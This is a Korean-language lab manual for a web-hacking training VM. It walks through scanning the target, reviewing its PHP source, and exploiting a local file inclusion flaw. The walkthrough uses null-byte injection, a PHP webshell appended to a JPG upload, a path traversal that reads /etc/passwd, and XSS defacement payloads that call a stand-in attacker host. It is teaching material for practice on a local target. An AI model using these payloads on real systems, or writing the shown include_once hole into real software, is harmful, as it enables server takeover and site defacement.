홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






>> 목록보이기
#WH-LFI-01 #웹해킹 훈련장 #웹해킹 실습 #실습설명서 #내부파일실행 #LFI #Local File Inclusion #A1-Injection #널문자삽입 #Null-byte Injection #Live ISO #웹쉘 #파일업로드 취약점 #PHP 웹쉘 #image webshell #이미지웹쉘 #경로조작 #Path Traversal #HTML 삽입 #저장형 XSS

WH-LFI-01 내부파일실행 취약점 훈련장 실습 설명서

이 훈련장에서는 내부파일실행(LFI) 취약점을 실습해볼 수 있다. 내부파일실행취약점(FI, Local File Inclusion)은 대개의 경우 공격자가 올린 파일을 서버의 스크립트 언어로 실행하기 때문에 "확장자를 우회하는 웹쉘 업로드" 취약점이다. PHP에서는 - ASP/ASPX, JSP에서도 유사하다 - include(), include_once(), require(), require_once()와 같이 다른 파일을 참조할 때 입력값을 GET이나 POST 방식으로 받게 되면 발생하는 경우가 많다.

WH-LFI-01 라이브 ISO 내려받기

위의 WH-LFI-01 라이브 ISO 파일을 내려받아서 적당한 위치에 저장한다. VMware Workstation Player에서 메모리 256MB, 가상디스크 크기 0MB (이보다 커도 상관은 없음) 손님 운영체제를 만든다. 광학디스크(CD/DVD 드라이브)에 내려받은 ISO 파일을 지정하고 부팅한다. 부팅이 끝나면 tux/w3bh4ck!23$로 로그인하여 ifconfig 명령어로 IP주소를 확인한다. 이 실습설명서에서는 IP주소가 192.168.189.238이었다. 파이어폭스(FireFox) 웹 브라우저로 이 훈련장의 홈페이지에 접속한 화면은 아래와 같다.

WH-LFI-01 훈련장 홈페이지 화면갈무리
[ WH-LFI-01 홈페이지에 접속한 화면 ]

WH-LFI-01 훈련장은 WH-COOKIE-01 웹해킹 훈련장을 기반으로 구현했기 때문에 화면이 거의 같다. 두 훈련장의 upload.php를 비교하면 취약점을 수정하는 방법을 일부 엿볼 수 있다.

WH-LFI-01 웹해킹 훈련장은 WH-COOKIE-01과 마찬가지로 200KB 이하의 JPG 이미지를 등록할 수 있는 누리집이다. nmap, nikto, owasp-zap을 차례로 점검해보자.

nmap 점검

Nmap으로 192.168.189.238 웹서버에 개방된 모든 포트를 검사한다.

root@kali:~# nmap -p- 192.168.189.238

Starting Nmap 7.31 ( https://nmap.org ) at 2016-11-26 20:51 KST
Nmap scan report for 192.168.189.238
Host is up (0.00025s latency).
Not shown: 65532 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https
MAC Address: 00:0C:29:E3:3F:16 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 3.35 seconds
root@kali:~# nmap -p22,80,443 -A 192.168.189.238

Starting Nmap 7.31 ( https://nmap.org ) at 2016-11-26 20:53 KST
Nmap scan report for 192.168.189.238
Host is up (0.00061s latency).
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      Dropbear sshd 2011.54 (protocol 2.0)
| ssh-hostkey: 
|   1024 6c:51:4a:5b:27:22:d6:51:99:6f:23:b0:56:6c:df:10 (DSA)
|_  1039 47:9c:76:47:8f:4b:7d:36:a4:fc:63:bd:26:b0:5d:9f (RSA)
80/tcp  open  http     Apache httpd
|_http-server-header: Apache
| http-title: \xEC\x9D\xB4\xEB\xAF\xB8\xEC\xA7\x80 \xEC\xB0\xBD\xEA\xB3\xA0 ::: \xEC\x9B\xB9\xED\x95\xB4\xED\x82\xB9/\xEC\x9B\xB9\xEC\xB7\xA8\xEC\x95\xBD\xEC\xA0\x90\xEB\xB6
|_Requested resource was ?css=style
443/tcp open  ssl/http Apache httpd
|_http-server-header: Apache
| http-title: \xEC\x9D\xB4\xEB\xAF\xB8\xEC\xA7\x80 \xEC\xB0\xBD\xEA\xB3\xA0 ::: \xEC\x9B\xB9\xED\x95\xB4\xED\x82\xB9/\xEC\x9B\xB9\xEC\xB7\xA8\xEC\x95\xBD\xEC\xA0\x90\xEB\xB6
|_Requested resource was ?css=style
| ssl-cert: Subject: organizationName=slitaz/stateOrProvinceName=UTC/countryName=US
| Not valid before: 2016-11-22T17:50:07
|_Not valid after:  2026-11-20T17:50:07
|_ssl-date: 2016-11-26T20:53:41+00:00; +9h00m01s from scanner time.
MAC Address: 00:0C:29:E3:3F:16 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.36 - 2.6.37, Linux 2.6.37
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 9h00m01s, deviation: 0s, median: 9h00m01s

TRACEROUTE
HOP RTT     ADDRESS
1   0.61 ms 192.168.189.238

Post-scan script results:
| clock-skew: 
|_  9h00m01s: Majority of systems scanned
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.32 seconds
root@kali:~#

Nmap으로 검사한 결과 Dropbear sshd(22/tcp)와 Apache httpd(80/tcp, 443/tcp)가 실행중이며 운영체제는 커널 버전이 2.6.X인 리눅스로 추정된다. 그 외에는 별다른 취약점이 눈에 띄지 않는다.

SSH 접속이 가능하므로 root 계정을 대상으로 hydra를 이용하여 무작위대입공격을 수행하였으나 접속에는 실패하였다. 비밀번호는 비교적 강하게 설정되어 있는 것으로 보인다.

nikto를 이용한 80, 443 웹서비스 환경 점검

다음은 80번 포트와 443번 포트를 대상으로 nikto를 실행한 결과이다.

root@kali:~# nikto -host 192.168.189.238 -port 80
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.189.238
+ Target Hostname:    192.168.189.238
+ Target Port:        80
+ Start Time:         2016-11-26 20:57:29 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache
+ Root page / redirects to: ?css=style
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is "http://127.0.0.1/images/".
+ 7535 requests: 0 error(s) and 1 item(s) reported on remote host
+ End Time:           2016-11-26 20:57:41 (GMT9) (12 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
root@kali:~# nikto -host 192.168.189.238 -port 443
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.189.238
+ Target Hostname:    192.168.189.238
+ Target Port:        443
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /C=US/ST=UTC/O=slitaz
                   Ciphers:  ECDHE-RSA-AES256-SHA
                   Issuer:   /C=US/ST=UTC/O=slitaz
+ Start Time:         2016-11-26 21:01:07 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ Root page / redirects to: ?css=style
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Hostname '192.168.189.238' does not match certificate's names: 
+ 7535 requests: 0 error(s) and 2 item(s) reported on remote host
+ End Time:           2016-11-26 21:02:00 (GMT9) (53 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
root@kali:~#

IIS 관련 취약점이 탐지되었으나 이 운영체제는 리눅스이고 웹서버는 아파치이므로 오탐이다. HSTS 헤더 미설정이 탐지되었으나 HTTP, HTTPS를 동시에 사용하는 서비스이므로 무시한다.

OWASP-ZAP 점검

다음은 http://192.168.189.238/을 대상으로 OWASP-ZAP의 취약점 점검 기능을 실행한 결과이다.

WH-LFI-01 훈련장 OWASP-ZAP 자동점검 결과
[ OWSAP-ZAP 점검결과: 특이사항 없음 ]

OWASP-ZAP의 점검결과에서는 아무런 취약점이 탐지되지 않았다.

수동점검

사용자의 입력에 따라 서버의 반응이 달라지는 웹 페이지의 주소를 "동적 URL(Dynamic URL)"이라고 한다. 거의 대부분의 경우, 동적 URL은 GET, POST 방식으로 사용자가 입력값을 변경할 수 있는 것들이다. 특수한 경우에는 사용자의 입력값이 달라져도 사용자가 인지하지 못하는 반응을 하는 동적 URL도 있다. 예를 들어 웹 접속 로그를 DB에 저장하는 경우에는 사용자가 조작할 수 있는 User Agent 문자열(웹 브라우저를 지정하는 문자열)과 출발URL(Referer)도 포함될 것이므로 모든 URL이 동적 URL이 된다. 수동점검은 이러한 동적 URL 위주로 진행하게 된다.

WH-LFI-01 훈련장의 동적 URL은 다음과 같다.

  • http://192.168.189.238/?css=style (GET 변수: css)
  • http://192.168.189.238/upload.phpstyle (POST 변수: MAX_FILE_SIZE, comment, userfile)

먼저 upload.php에서 발생할 수 있는 취약점을 점검해야 한다. Black-box로 진행하는 웹해킹 방식이라면 다양한 확장자의 이미지를 업로드하면서 php, php3, phtml 등의 확장자 파일을 생성할 수 있는 지 시도한다. 이 훈련장의 경우에는 불가능하다. 오로지 jpg 확장자의 파일만 올릴 수 있다. MAX_FIEL_SIZE, comment 등에 HTML 삽입 가능성을 시험해봐도 불가능하다.

웹취약점분석이라면 PHP 소스를 보면서 취약점이 발생할 수 있는 부분을 살펴보는 것이 좋다. 웹해킹의 수많은 시행착오를 생략할 수 있으므로 많은 시간을 절약할 수 있다. 이 훈련장의 upload.php 소스에서 확장자 검증 부분을 살펴보자.

$extension = end( explode('.', $_FILES['userfile']['name']) );
if (strtolower($extension) != 'jpg') {
    header('Location: This file does not have JPG extension.');
    exit;
}

가장 마지막 마침표(.) 다음 문자열을 확장자로 결정하여 이 확장자가 대소문자 구분없이 "jpg"가 아닌 경우에는 프로그램을 종료하고 있다. 그리고 내부적인 규칙(업로드한 시간의 문자열)에 따라 이미지 이름을 변경하여 저장하고 있다. 이러한 경우의 허용목록white-list) 기반의 확장자 검증기능은 우회하기 힘들다.

    fwrite($handle, htmlentities($_FILES['userfile']['name']));
    fwrite($handle, ':');
    $comment = htmlentities($_POST['comment']);
    fwrite($handle, $comment);

위의 PHP 소스는 원본 이미지의 파일 이름과 설명(간단한 붙임말)을 저장하는 부분이다. 두 값 모두 htmlentities() 함수를 이용하여 HTML 삽입을 방지하고 있다. ASP/ASPX, JSP/JSPX, PHP 모두 부등호(<, >) 문자가 있어야만 작성할 수 있는 스크립트 언어이기 때문에 코드 삽입도 거의 힘들다.

결론적으로 upload.php 자체에서는 취약점이 없는 것으로 결론을 내릴 수 있다.

다음으로 /?css=style을 살펴보자. 이 동적 URL은 GET 방식으로 css 변수에 입력값을 받고 있다. 변수의 이름으로 보아 스타일을 지정하는 CSS(Cascase Style Sheet) 내용을 불러들이는 것으로 보인다. 블랙박스 방식의 웹해킹에서는 이 값을 추정해보는 것이 필요하다. 개발자의 입장에서 생각해보면 CSS는 파일에 저장하고 있을 가능성이 많다. 다수의 CSS 파일이 존재한다면 일반적으로 "css/" 디렉토리에 저장할 것이다. 단일 파일을 사용하는 경우라면 웹서비스의 "/" 경로에 직접 저장할 수도 있다. CSS 파일이므로 확장자는 "css"일 확률이 높다.

위와 같은 추정을 근거로 /?css=style로 부터 "/css/style.css"와 "/style.css" 파일의 존재여부를 검사한다. "http://192.168.189.238/css/style.css"와 "http://192.168.189.238/style.css"을 웹브라우저로 접속하면 대개의 경우 확인할 수 있다. 확인 결과, "/css/style.css"는 404 오류가 반환되었다. "/style.css" 파일은 존재하였다.

root@kali:~# curl -I 192.168.189.238/style.css
HTTP/1.1 200 OK
Date: Sun, 27 Nov 2016 08:01:03 GMT
Server: Apache
X-Frame-Options: DENY
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
Last-Modified: Wed, 23 Nov 2016 05:19:02 GMT
ETag: "200e-77a-541f106e2bd80"
Accept-Ranges: bytes
Content-Length: 1914
Content-Type: text/css

root@kali:~#

curl로 "http://192.168.189.238/style.css" 접속시 서버응답을 살펴보면 위와 같은 HTTP 헤더를 전송한다. 200 응답으로부터 파일이 존재하며 Content-Length 헤더에서 style.css 파일의 크기는 1914 바이트임을 알 수 있다. 이러한 관찰로부터 WH-LFI-01 훈련장은 css 매개변수로부터 밭은 문자열에 ".css" 문자열을 더하여 CSS 파일을 참조한다고 추정할 수 있다.

화이트박스(white-box) 방식의 웹취약점분석 작업이라면 이 부분을 담고 있는 PHP 소스를 분석함으로써 보다 쉽게 취약점이 발생할 수 있는 부분을 찾아낼 수 있다.

<style type="text/css">
<?php include_once($_GET['css'].'.css'); ?>
</style>

위의 PHP 소스는 "index.php"에서 CSS 내용을 출력하는 부분이다. <style> 엘리먼트 내에 'css변수_입력값'+'.css' 파일을 include_once() 함수로 불러들이는 것을 알 수 있다. CSS 파일은 PHP 코드가 포함되지 않으므로 파일을 내용을 출력만 하면 되는 부분이지만 include 계열의 함수를 씀으로써 PHP 코드도 실행할 수 있게 되었다. include 계열의 함수 사용법이 편리하기 때문에 드물지 않게 일어나는 개발자의 실수이다. 이처럼 사용자의 입력값을 받아 파일을 include하는 방식에서는 내부 또는 외부파일실행 취약점이 발생할 가능성이 있다.

[외부파일실행취약점(RFI, Remote File Inclusion) 탐지]

외부파일실행 취약점(RFI, Remote File Inclusion)이 있는 웹 어플리케이션에서는 공격자의 입력값 다음에 문자열을 덧붙인다고 해도 간단하게 우회할 수 있는 방법이 있다. 먼저 URL의 특성을 이용할 수 있다. <a> 엘리먼트의 내부링크를 지정하는 '#' 문자를 덧붙이거나 GET 방식의 입력변수 시작을 알리는 '?'를 덧붙이면 된다. 예를 들자면 http://h4ck3r.site/style.css# (실제 입력에서 #는 %23으로 바꿔야 함), http://h4ck3r.site/style.css?input= 등과 같은 방법이 있다. 또는 입력값과 덧붙이는 문자열을 합친 이름의 파일을 원격지에 만들면 된다. 예를 들어 http://h4ck3r.site/style.css를 만들고 입력은 ".css"를 뺀 값을 주면 된다 - 입력예: /?css=http://h4ck3r.site/style.

다행히도 WH-LFI-01 훈련장에서는 RFI 취약점이 탐지되지 않았다.

LFI에 비해 RFI는 공략하기가 훨씬 쉽기 때문에 특수한 경우가 아니면 파일 처리에서 URL을 지원해서는 안된다. 이를 막기 위해서는 php.ini에서 allow_url_fopen = false로 선언하여야 한다.

[널바이트삽입(Null-byte Injection) 탐지]

LFI가 가능하기 위해서는 공격자가 원하는 파일의 위치를 지정할 수 있어야 한다. 이 훈련장에서는 .css 확장자를 서버 내에서 덧붙이기 때문에 css 확장자를 가지는 파일을 업로드할 수 있으면 된다. 하지만 이 훈련장은 jpg 확장자 파일만을 허용한다. 공격자의 입장에서 css 파일 대신 jpg 파일을 읽게 할 수 있는 방법은 드물다. 이러한 확장자 검증을 우회할 수 있는 가장 유명한 공격이 "널문자삽입(Null-byte Injection)" 공격이다. 취약한 서버스크립트 언어는 널바이트를 삽입했을 때 이를 널(Null)로 처리한다. 프로그래밍 언어에서 Null은 문자열의 끝을 의미하므로 삽입한 널바이트 부터는 문자열이 끝나게 된다는 점을 악용하는 것이다. 일부 PHP, JSP, IIS 버전의 경우 파일경로를 지정하는 문자열에서 이러한 취약점이 발생한다.

널문자(Null)는 ASCII 코드로 0번이다. 이를 URL 인코드한 값은 "%00"이다. GET이나 POST 입력값에 "%00"을 덧붙여서 널문자삽입 가능한 지 시험할 수 있다. 이 훈련장의 경우 "/style.css" 파일은 접근할 수 있지만 "/style"이란 파일은 존재하지 않는다. 이를 바탕으로 널문자삽입 취약점이 있을 경우에는 다음과 같은 서버의 반응을 유추해 볼 수 있다.

  • 입력: "/?css=style%00"
    - 서버의 PHP는 "/style%00.css" -> "/style"로 해석
    - 파일이 존재하지 않으므로 CSS 내용이 출력되지 않을 것임
  • 입력: "/?css=style.css%00"
    - 서버의 PHP는 "/style.css%00.css" -> "/style.css"로 해석
    - 파일이 존재하므로 CSS 내용이 출력되어 "/?css=style"과 동일한 결과가 출력될 것임

위와 같은 예측을 curl을 이용하여 시험해보면 다음과 같다. (실제 점검에서는 웹브라우저로 직접 시험해보아도 된다.)

root@kali:~# curl http://192.168.189.238/?css=style | head
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  7771  100  7771    0     0  1263k      0 --:--:-- --:--:-- --:--:-- 1517k
<HTML>
<HEAD>
<TITLE>이미지 창고 ::: 웹해킹/웹취약점분석</TITLE>
<meta charset="utf-8">
<style type="text/css">
@font-face {
  font-family: 'Nanum Gothic Coding';
  font-style: normal;
  font-weight: 700;
  src: url(//fonts.gstatic.com/ea/nanumgothiccoding/v4/NanumGothicCoding-Bold.eot);
root@kali:~#
root@kali:~# curl http://192.168.189.238/?css=style%00 | head
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  5857  100  5857    0     0   841k      0 --:--:-- --:--:-- --:--:--  953k
<HTML>
<HEAD>
<TITLE>이미지 창고 ::: 웹해킹/웹취약점분석</TITLE>
<meta charset="utf-8">
<style type="text/css">
</style></font>
<!-- 이미지 열기 -->
<script language='javascript'>
<!--
 function view(f,x,y){
root@kali:~#
root@kali:~# curl http://192.168.189.238/?css=style.css%00 | head
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  7771  100  7771    0     0  3154k      0 --:--:-- --:--:-- --:--:-- 3794k
<HTML>
<HEAD>
<TITLE>이미지 창고 ::: 웹해킹/웹취약점분석</TITLE>
<meta charset="utf-8">
<style type="text/css">
@font-face {
  font-family: 'Nanum Gothic Coding';
  font-style: normal;
  font-weight: 700;
  src: url(//fonts.gstatic.com/ea/nanumgothiccoding/v4/NanumGothicCoding-Bold.eot);
root@kali:~#

웹 서버의 실행결과를 분석한 결과 http://192.168.189.238/?css=style.css%00http://192.168.189.238/?css=style와 동일한 서버 응답을 받았으나 http://192.168.189.238/?css=style%00는 달랐다. 이는 널문자삽입(Null-byte Injection) 취약점이 존재한다는 것을 확인해준다.

[널문자삽입을 이용한 LFI 공략]

해커나 웹해킹 전문가는 다음과 같은 사실을 알고 있다.

  • 웹 개발자들은 파일을 읽을 때 - 편하기 때문에 별다른 생각없이 - include() 계열의 함수를 사용하는 경우가 많다.
  • include() 계열 함수의 인자에는 확장자 구분이 없다.
  • include()에 전달되는 파일 속에 서버스크립트 코드가 포함되어 있으면 실행한다.

이러한 지식과 널문자삽입 취약점을 연결시켜서 공격자는 .jpg 파일에 PHP 코드, HTML 코드를 넣어서 업로드할 것이다. 이 훈련장은 css 변수에 입력되는 값을 이용하여 CSS를 출력하므로 다음과 같은 결과를 추정해볼 수 있다.

  • include() 계열의 함수를 사용했다면 PHP 코드를 실행시켜 웹쉘(webshell)로 활용할 수 있으며 무제한의 HTML삽입이 가능하므로 크로스사이트스크립트(XSS) 공격에도 활용할 수 있다.
  • file_get_contents()와 같은 함수를 사용했다면 PHP 코드를 실행시키지는 못하지만 HTML삽입을 통해 크로스사이트스크립트(XSS) 공격에 활용할 수 있다.

먼저 "<?", "<?php", "?>"와 같은 문자열이 포함되지 않은 JPG 이미지를 고른다 - 이러한 문자열이 있으면 PHP 실행에 지장을 줄 수 있다. vi와 같은 편집기를 이용하여 이미지의 끝에 적절한 HTML과 PHP 코드를 덧붙인다. 이미지의 EXIF 정보에 PHP 코드를 삽입할 수도 있으나 경험상 이미지의 끝에 붙이는 것이 웹쉘 실행결과를 확인하기 편리하다.

다음은 위와 같이 만든 파일의 예이다(english.php.jpg). cat 명령어를 이용하여 그 내용을 터미널에서 출력하면 알 수 없는 문자열이 나오고 그 끝에 HTML코드와 PHP 코드가 포함된 것을 볼 수 있다.

root@kali:~# cat english.php.jpg
����JFIF��C	

		





		

��C
                   	
                        ��   *����$!W��#����-!1A"#�2ST���Q��
                                                                ?��nv�/��/r�iWe�7V����M��1]SB=`�'�������텅50���v|W�8��%�}�HAZ���ZfY���Y�,C��
                                               )շ#����7�y�o���X��&)����E��w+�%�섐�J��/���������y��x������O
  d�g�Ojz���*�y+����}g���<1�}�_�=����ێ�&\iү�{�m�
                                                  	�L��	Ƭd��m��-n�OAӷB	$$eB�3�y0�
                                                                                          ر�v6�0�	��n_�ū��ø�1�]�2%԰��$mAP�o涭��I5NqDɖ<[�XXKzT�Z�{Ͼ��n:�� �jQ�R�$�}�9]�3>&crUn�D�g��P�������t�g����S�)LR����
</style><pre>
<?php $_REQUEST['fnc']($_REQUEST['cmd']) ?>
root@kali:~#

수년 전까지 어떤 웹에디터는 이미지 확장자를 검증하지 않는 경우가 있었다. 이 웹에디터가 주장한 것이 파일 내용을 검사하여 이미지만을 업로드하기 때문에 웹쉘을 올릴 수 없다는 것이었다. 이러한 방어기작은 우회가능하다. 이 예제에서 만든 이미지 웹쉘은 실제 이미지이므로 해당 웹에디터는 업로드를 허용한 바 있다. 몇번의 사고 이후에 현재 이 웹 에디터는 허용목록 기반의 확장자 검증기능을 구현하였다.

이 실습 사례에서는 이미지에 PHP 코드를 덧붙이는 것이 가능하다는 점을 보여주기 위해서 실제 이미지의 끝에 HTML과 PHP 코드를 덧붙였다. 하지만 이 훈련장에서는 실제 업로드되는 이미지가 굳이 이미지일 필요는 없다. 앞서 확인한 바와 같이 upload.php PHP 소스에서는 jpg 확장자만을 검사할 뿐 실제 이미지인 지의 여부는 확인하지 않기 때문이다. 따라서 english.php.jpg 파일은 아래와 같은 내용만 있어도 공격이 가능하다.

</style><pre>
<?php $_REQUEST['fnc']($_REQUEST['cmd']) ?>

english.php.jpg 파일의 내용은 "</style><pre>"로 시작한다. <style> 엘리먼트의 내용은 웹 페이지에 출력되지 않기 때문에 (사실은 소스에는 나타나며, 실제 해킹이라면 이런 식으로 안보이게 숨길 것임) 웹 페이지에 출력되도록 </style>로 닫은 것이다. <pre> 엘리먼트는 HTML이 줄바꾸기(newline)를 공백으로 처리하는 것을 방지함으로써 출력결과를 공격자가 읽기 쉽게 해준다.

PHP 코드에서 $_REQUEST[]는 GET과 POST 방식 중 어느 것이나 사용할 수 있다는 의미이다. $_REQUEST['fnc']($_REQUEST['cmd'])fnc 변수에는 실행할 함수를 지정하고 cmd 변수에는 함수의 인자값을 전달할 수 있다. 예를 들어 URL 인자로 "fnc=system&cmd=ls"를 전달하면 PHP는 "system('ls')"를 실행하며 'ls' 명령어 결과를 출력한다.

이제 english.php.jpg 파일을 WH-LFI-01 훈련장에 업로드한다.

WH-LFI-01 훈련장: PHP image webshell 업로드
[ PHP 코드를 덧붙인 이미지가 정상적으로 WH-LFI-01 서버에 업로드된 모습 ]

위 그림은 english.php.jpg 파일을 WH-LFI-01 훈련장에 업로드한 결과 화면이다. 웹 브라우저에서 HTML 소스나 이미지 주소를 확인하면 english.php.jpghttp://192.168.189.238/images/14801955250.70922900.jpg로 서버에 저장된 것을 확인할 수 있다.

업로드한 이미지의 상대 경로(images/14801955250.70922900.jpg)와 널문자삽입을 이용하면 http://192.168.189.238/?css=images/14801955250.70922900.jpg%00으로 공격자가 업로드한 파일을 서버가 읽도록 만들 수 있다. 또한 PHP코드에 전달할 인자를 함께 붙이면 http://192.168.189.238/?css=images/14801955250.70922900.jpg%00&fnc=system&cmd=ls와 같은 URL이 만들어진다.

악의적인 해킹 공격이라면 "fnc"와 "cmd" 변수는 POST 방식으로 전달할 확률이 높다.

curl "http://192.168.189.238/?css=images/14801955250.70922900.jpg%00" --data "fnc=system&cmd=ls"

위의 명령어는 curl을 이용하여 "fnc"와 "cmd" 변수를 POST 방식으로 전달한 명령어이다. POST 방식으로 전달하는 변수는 웹서버의 로그에 남지 않기 때문에 침해사고를 인지하더라도 공격자가 행한 공격을 파악하기가 어려워지기 때문에 악의적인 해커들이 자주 사용한다.

이제 웹 브라우저를 이용하여 http://192.168.189.238/?css=images/14801955250.70922900.jpg%00&fnc=system&cmd=ls에 접속해 보자. 아마도 다수의 'ls' 결과물이 출력되는 것을 확인할 수 있을 것이다. 이는 images/14801955250.70922900.jpg 파일 내의 PHP 코드가 실행된 것이므로 WH-LFI-01 훈련장의 PHP 소스에서는 include() 계열의 함수를 사용한다는 것을 알 수 있다.

WH-LFI-01 훈련장: 널바이트삽입과 PHP image webshell 실행
[ 업로드한 이미지의 PHP 코드가 실행된 모습 ]

위 그림은 운영체제 명령어로 "cat /etc/passwd"를 전달한 사례이다. URL은 http://192.168.189.238/?css=images/14801955250.70922900.jpg%00&fnc=system&cmd=cat%20/etc/passwd이다. 이 결과로 부터 WH-LFI-01 훈련장에는 로그인이 가능한 계정으로는 root, tux가 있으며 데몬을 실행하기 위한 것으로 보이는 nobody, www 계정이 존재하는 것을 알 수 있다.

http://192.168.189.238/?css=images/14801955250.70922900.jpg%00&fnc=system&cmd=cat%20/etc/passwd

이상과 같이 널문자삽입(Null-byte Injection)을 이용한 내부파일실행 취약점 점검을 완료할 수 있다.

[소스 분석을 통한 추가점검]

웹취약점분석 과정이라면 PHP 소스에서 방어기작을 검토해보는 것이 좋다. 일반적으로 LFI 취약점은 OWASP-ZAP과 같은 웹취약점탐색기들이 잘 탐지하는 편이다. 그런데 이 훈련장의 경우에는 OWASP-ZAP이 탐지하지 못하였다.

index.php에서 css 변수 처리를 어떻게 하는 지 살펴보자.

<?php
        if (!isset($_GET['css']) || $_GET['css'][0] == '/') {
                header('Location: ?css=style');
                exit(0);
        }
?>

GET 방식으로 입력되는 css 변수의 값이 사선(/)으로 시작하는 것을 차단하고 있는 것을 알 수 있다. 즉, /?css=/etc/passwd%00, /?css=/images/14801955250.70922900.jpg%00 등은 모두 차단된다는 의미이다. WH-LFI-01 훈련장의 이러한 방어기작은 다음과 같은 방식으로 우회가 가능하다.

http://192.168.189.238/?css=file:///etc/passwd%00
http://192.168.189.238/?css=images/../../../../../../../../../../etc/passwd%00

만약 파일업로드 기능이 전혀 없는 누리집이라면 위와 같은 방식으로 LFI 취약점을 통해 경로조작(Path Traversal)을 유도할 수도 있다. OWASP-ZAP 스캐너와 같은 웹취약점점검도구들은 LFI와 경로조작을 구분할 수 없는 경우가 많기 때문에 취약점 점검 결과에서 LFI와 경로조작을 혼용하여 표현하기도 한다.

[참고 1: LFI와 경로조작의 구분]

서버의 내부파일을 읽기만 할 수 있을 경우에는 경로조작(Path Traversal), 서버의 내부 파일에 포함된 PHP 코드를 실행했을 경우에는 내부파일실행(LFI) 취약점으로 구분할 수 있다. 예를 들어 http://192.168.189.238/?css=index.php%00의 결과에 index.php의 PHP 소스가 출력될 경우에는 경로조작이다. PHP 코드가 출력되지 않았다면 내부파일실행 취약점이 된다(PHP를 실행한 결과가 출력되므로 PHP 소스는 보이지 않는다).

[참고 2: 크로스사이트스크립트 공격]

이미 LFI 취약점을 웹서버 침투가 성공한 상황에서 이보다 효용성이 없는 XSS 공격을 실행을 하지는 않을 것이다. 하지만, 취약점 점검의 입장에서 LFI 대신 XSS 공격을 하는 경우를 생각해보자. 이 때는 업로드할 파일에 PHP 코드 대신 자바스크립트를 삽입하여 공격을 수행할 것으로 추정할 수 있다. 악성코드 배포, 홈페이지 위변조, 피싱(phishing) 등에 악용할 가능성이 있다. 위변조(defacement)를 위한 코드는 다음과 같은 것들이 있다.

  • 배경을 검은 색으로 바꿔서 가독성 방해
    - </style><script>document.body.bgColor="Black";</script>
  • 배경을 이미지로 바꿔서 가독성 방해
    - </style><script>document.body.background="http://h4ck3r.site/black.jpg";</script>
  • 상관없는 홈페이지로 경로재지정(Redirect)하여 누리집 접근을 방해
    - </style><script>window.location="http://www.h4ck3r.site/deface.html";</script>
  • 자바스크립트로 홈페이지의 <body> 엘리먼트의 내용을 통째로 바꿔치기
    - </style><script>document.body.innerHTML="<style>body { visibility:hidden; }</style> <div style=visibility:visible;><h1>THIS SITE WAS HACKED</h1></div>"; </script>

[처음 작성한 날: 2016.11.26]    [마지막으로 고친 날: 2016.11.28] 


< 이전 글 : OWASP TOP 10 (2013) 문서의 각종 해킹 시나리오 모음 (2016.11.29)

> 다음 글 : WH-LFI-01 웹해킹훈련장의 취약점 분석 결과보고서 (2016.11.28)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문
 __
( 무료 소프트웨어를 두려워하는 사람들은  )
( 자신들의 제품이 그것보다 못하기  )
( 때문이다.  )
(  )
( - David Emery, 오픈소스 개발자  )
 --
                       o                    ^    /^
                        o                  / \  // \
                         o   |\___/|      /   \//  .\
                          o  /O  O  \__  /    //  | \ \           *----*
                            /     /  \/_/    //   |  \  \          \   |
                            @___@`    \/_   //    |   \   \         \/\ \
                           0/0/|       \/_ //     |    \    \         \  \
                       0/0/0/0/|        \///      |     \     \       |  |
                    0/0/0/0/0/_|_ /   (  //       |      \     _\     |  /
                 0/0/0/0/0/0/`/,_ _ _/  ) ; -.    |    _ _\.-~       /   /
                             ,-}        _      *-.|.-~-.           .~    ~
            \     \__/        `/\      /                 ~-. _ .-~      /
             \____(oo)           *.   }            {                   /
             (    (--)          .----~-.\        \-`                 .~
             //__\\  \__ Ack!   ///.----..<        \             _ -~
            //    \\               ///-._ _ _ _ _ _ _{^ - - - - ~
.. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ...... ... ... ] .. [ .../ ..../ ......./ .. ./// ../ ... .. ... .. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ./// ../ ... .. ... ...| ..../ ./ ... / ..| ....| ........ / ... / .... ...... ... ... ] .. [ .../ ..../ ......./ .....| ..../ ./ ... / ..| ....| ........ / ... / .... ...| ..../ ./ ... / ..| ....| ........ / ... / .... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 